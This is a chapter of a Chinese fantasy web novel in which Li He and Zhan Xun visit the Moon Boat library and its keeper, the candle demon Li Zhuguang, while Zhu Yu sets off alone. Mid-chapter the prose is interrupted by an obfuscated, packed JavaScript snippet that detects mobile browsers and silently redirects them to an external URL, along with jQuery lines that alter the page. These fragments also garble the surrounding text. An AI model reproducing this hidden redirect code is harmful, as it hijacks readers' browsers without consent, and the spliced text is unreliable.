比翼鸟所在地确定后,祝余却未做下一步计划,而是在客栈里闭门不出。黎禾与展旬见他心事重重,便没打扰。直至翌日黄昏之际,祝余将二人唤来。
他一袭夜行衣立于桌旁。桌上摆放着双刀,双刀刀刃锋利,闪烁寒光。
黎禾见此,不由微蹙眉头。她还没询问,祝余开了口。
“今夜丑时,你们前去月舟书楼。抵达后,自有人等候你们。”
黎禾凝视祝余眉目间的冷漠,问:“你不同我们一起?”
祝余抬眸对上黎禾的目光。目光里的漠然已然回答了黎禾的问题。
黎禾蹙眉,她许久未见到祝余如此冷漠的神情,“你想一个人去找比翼鸟。”
祝余垂眸看向桌上的双刀,冷声道:“我要做什么,与你们无关?”
黎禾一愣,不由紧握拳头,欲言又止。
展旬见状,有些不知所措,劝道:“我们是出生入死的朋友,怎么与我们无关?”
祝余扫了眼他们,“月舟书楼只能为你敞开一次,去不去由你。此外,寻找比翼鸟本就是我之事,与你们无关。以你们的能力,再跟着我,只会拖累我。”
展旬沉默,不知怎么接过此话。
黎禾紧盯着祝余,这一瞬间,她又觉得他好远,这种感觉让她有些难受。
“好。”片刻,她开了口,“也是,你有你的事要做,我也有我的事要做。”
她静视祝余,“分道扬镳,也未尝不可。”
话语一出,展旬大惊,着急地看向祝余,祝余却一句话也没有说。
黎禾见状,漠然转身离开。
房间内,只留下展旬与祝余。
展旬从祝余脸上看出,他已经下定了某种决心,不会带上他们的。
“祝大哥,”他犹豫片刻,担忧地说道,“一定要保护好自己。”
说罢,他也离开房间。
待所有人都离开后,祝余沉眸,盯着桌上的双刀,恍惚之间,在刀身上看见了尸横遍野的祝家花园。
夜间,黎禾与展旬分别从自己的窗户越出,来到街道上。
半轮明月高挂,点亮暗沉之夜。夜风阵阵,寒气逼人,暗藏冬日悄来的痕迹。黎禾与展旬披着黑斗篷,斗篷遮住二人半张脸,使得他们鬼魅般行于长夜城。
黎禾与展旬朝着月亮的方向一直走,走着走着,走出了建筑群,来到一座五层高的书楼下。
书楼大门外,一位老妇人提灯而立。提灯柔亮之光,映照出老人慈善精瘦的面容。老妇人瘦而高,身形笔直,似习武者;她一身藏青袍,外披狼毛斗篷,不怒自威。
老妇人看向二人,不言一词,转身打开身后之门。
黎禾、展旬见状,跟了上去。
展旬本想要自我介绍一番,可一走进书楼大门口,就感到一股穿堂风。风里夹带着书纸香与檀香,独有一股庄严、厚重之感。展旬便开不了口,沉默地跟在黎禾身旁。
书楼里,全书书架与书;每个三排,会有一座书架上挂着一盏灯。
二人随着老妇人在上一层,来到最后一层楼下时,老妇人停步,道:“只有一人能随我上去。”
展旬愣了愣,道:“禾儿,你去吧,我就在下面等你。”
黎禾点点头,继续跟随老妇人。
这一层的楼梯更长一些,有三段,走到第二段时,老妇人开了口:“你叫什么名字?”
“黎禾。”
“哪两个字?”
“黎明之黎,禾苗之禾。”
询问之后,老妇人再次沉默,引领黎禾来到顶层。与其他基层不同,顶层同样宽阔,书架却少且分布稀疏。
老妇人来到一书架前,将手中提灯取下,挂在书架旁的倒钩上。“你要找的书在这里,自便吧。”
黎禾上前,见书架上摆放着各种卷轴、竹简、兽皮。
老妇人转身欲离开,黎禾叫住她:“请问,你为何放我们进来?”
“受人所托。”
“你认识他。”
“谁?”
“所托之人。”
老妇人沉默,似笑非笑。
黎禾犹疑片刻,问道:“你当与他很熟……能让你特意带我来此处……”
“不算熟。一页纸的情。”她转过身来,将双手放于身前,似要与黎禾认真交谈,“我曾是个游走四方的书客。你可知晓书客?”
黎禾摇摇头。
“便是在四海之内收集珍稀书籍之人。”老妇人微微一笑,“像我们这样的人,一身都在为几本书奔波。”
黎禾有些疑惑,她是第一次听闻这样的人。
“我半生都在寻一本书,寻过天涯海角,在失望与希望之中反复挣扎。我曾以为我这一生都找不到这本书时,他将一页纸送予我。因为这页纸,我才寻得我毕生所求。”
黎禾认真地听着。她见老妇人的双瞳,像灯火照耀的岩石。
“所以不算熟。”老妇人慈善一笑,“慢慢看吧,小心点,别伤着这里的书。”
黎禾点点头,老妇人便下了楼。
楼下等候的展旬见只有老妇人一人下来,着急询问:“禾儿怎么没和你一起下来?”
“她还在寻找。”
“哦。”展旬换股四周,“我瞧你这里这么多书,为什么要封闭呢?敞开让大家都看看,不是更好?”
老妇人笑道:“我这里的书可和别处的书不一样,只有有缘人才能看。”
展旬双眼一亮,“那我算不算?”
“你也有想寻求的答案?”
“啊?没、没,我就是好奇。”
老妇人走到展旬跟前,上下打量,“算。你想看就看。”
“真的?”
老妇人点点头。
展旬一喜,伸手从临近的书架上取下一个竹简,可上面确实奇奇怪怪的符号。他紧蹙眉头,装模作样翻扫了眼,忙地放了回去,“算了算了,一看这种正经书我就头疼。”
老妇人笑而不语。
两人陷入沉默。
展旬抱手,抖抖脚,眼睛左看看右看看,实在耐不住这里阴冷黑暗且略带恐怖的环境,开了口:“我叫展旬,奶奶,我怎么称呼你呀?”
“李烛光。”
展旬礼貌点头,“烛光奶奶。”
李烛光目光落在止杀上,“这把剑,我见过。”
展旬一惊,见过?那他也见过李千关?“在、在哪见过?”
“长夜城。”
“难不成你见过李千关?”展旬瞪大了眼睛,可那不是百年前的事儿了?眼前这人看着最多六七十来岁。不过她若是修炼者,寿命长一些倒也正常。
“倒是个许久未听到的名字了。”
展旬闻言,这下来了兴趣,他最是喜欢听别人讲故事,“那能讲讲吗?这李千关到底是个怎样的人?”
回应展旬的,只有李烛光似笑非笑的眼神。
展旬有些尴尬地挠挠头,“好吧。最近我老做梦,奇奇怪怪的梦。祝大哥也好,禾儿也罢,我都没同他们说。”展旬低垂目光,“我梦见我拿着剑,杀了很多人,我的手上全是鲜血,脚下也是……”
他一想到梦境里的画面,便有些害怕,“但我从来没杀过人,妖都没杀过几只。那些梦定然是李千关的过去。”
“止杀。”李烛光开了口,“有意思。”
“嗯?”展旬一头雾水,对方总是说一些意想不到的话。
“我同李千关不熟。”
展旬望着李烛光,扯了扯嘴皮,“哦、哦。”
空气再次沉静。展旬搓了搓双臂,在一旁悄悄注视李烛光,越看他越觉得这个老妇人怪得很,阴森森的。她就站在那儿一动不动,面善但一直似笑非笑的,跟个假人似的。
顿时,展旬毛骨悚然,只求黎禾快些下来。
半晌,他终于听到救赎般的脚步声。
“禾儿!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16194448|150981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>黎禾提着灯,走了下来。
李烛光上前,接过黎禾手中之灯,带领二人下楼。
一路沉默,直至返回书楼门口时,李烛光开了口:“二位,月舟书楼愿与二位做交易。”
黎禾蹙眉,“交易?”
“可将对你们来说非常重要之书交予月舟书楼,月舟书楼便能为你们做一件事。”
展旬问:“什么书都可以?”
“对你非常重要之书。”
展旬哈哈一笑,“我这人都不爱看书。不过最近确实收到了一本对我来说很重要的
“对你非常重要之书。”
展旬纳闷了,“这重要如何衡量?我若随便那本书,就说很重要,你不也不知道?”
李烛光依旧重复那句话,“对你非常重要之书。”
黎禾与展旬见状,只好抱拳行礼,随后离开了书楼。
书楼大门在“砰”的一声后,紧紧关上。
展旬望着书楼,全身一抖,“这地方阴森森的,那烛光奶奶,也阴森森的。”
“烛光?”
“对,那奶奶叫李烛光。”
黎禾瞳孔一亮,“李烛光……”
“对啊,怎么了?”
“我刚才在顶层翻阅书籍时,翻到一本介绍名妖之书,里面记载了一个妖,便是叫李烛光。”
展旬顿时后背发凉,“啥?妖?什么妖?”
黎禾眸光一沉,“烛火妖。”
“烛火妖?还有这种妖?”
“那本书说,世界上的妖,大部分都是生灵孕育而生,比如狐妖、狗妖、蛇妖等。或是五行之妖,比如水妖、火妖等等。这些妖比较常见。还有一部分便是因道奇运转而成,比如梦妖、烛火妖。不过烛火妖很少,记载之中只有李烛光,没有人知道她因何而诞生,又在这世界上存在了多久。”
展旬搓着手臂,“得嘞,我、我们还是快离开这吧。”
黎禾点点头。
路上,展旬询问:“你可有收获?”
“很多。不过后面我在与你细说,我们先去祝府。”
展旬顿步,一把拉住黎禾的手,“你不能去。”
黎禾一怔,一脸不解。按着展旬的性子,他定然会想去帮忙。可此时,她却见展旬神情严肃,她问道:“为何?”
“那可是祝家,捉妖世家,里面全是捉妖师界数一数二的捉妖师。禾儿,你是……梦妖啊……”最后几个字,他吐得格外轻。
黎禾愣在原地,她再次猛然意识到,自己与祝余不同,与展旬也不同,自己早就不是人类了。
连比翼鸟这种传说中的神鸟都能抓,若是让他们遇见梦妖,他们会做什么?一想到这些,展旬便害怕。若是面对这样的情况,自己肯定没有办法,而且祝大哥都未必有办法!
这一瞬间,他明白了祝余的忧惧。
黎禾握住展旬的手,“我明白。可我放心不下祝大哥。”
“我也……”展旬低下头去,“可我也不想你涉险。”
黎禾望着展旬,在她记忆了,面对朋友有危险时,他可不太会瞻前顾后。
“我……”展旬抬眸,神情复杂,“我不知道为什么,自从离开谢西城失忆后,我一直害怕,一直觉得我会失去你们。”
黎禾顿时新低泛起奇怪的情绪。这股情绪紧紧包裹着她的心,让她忘记呼吸、心跳加速。
她紧握展旬之手,怔怔地望着展旬。她从未感受到自己有如此强烈的情绪涌动。
“不。”展旬神色一变,“你说得对,我们还是得去救祝大哥。无论生死,我都该在一起。”他好似下定了某种决心,“死,也要死在一起!”
说罢,他再次斗志昂扬起来,“走!我们去寻祝大哥!”
黎禾点头。
两人拉紧斗篷,迅速朝祝府而去。
月舟书楼楼顶,李烛光背手而立,遥望二人身影,嘴角上扬,低声自语:“真是两本好书。”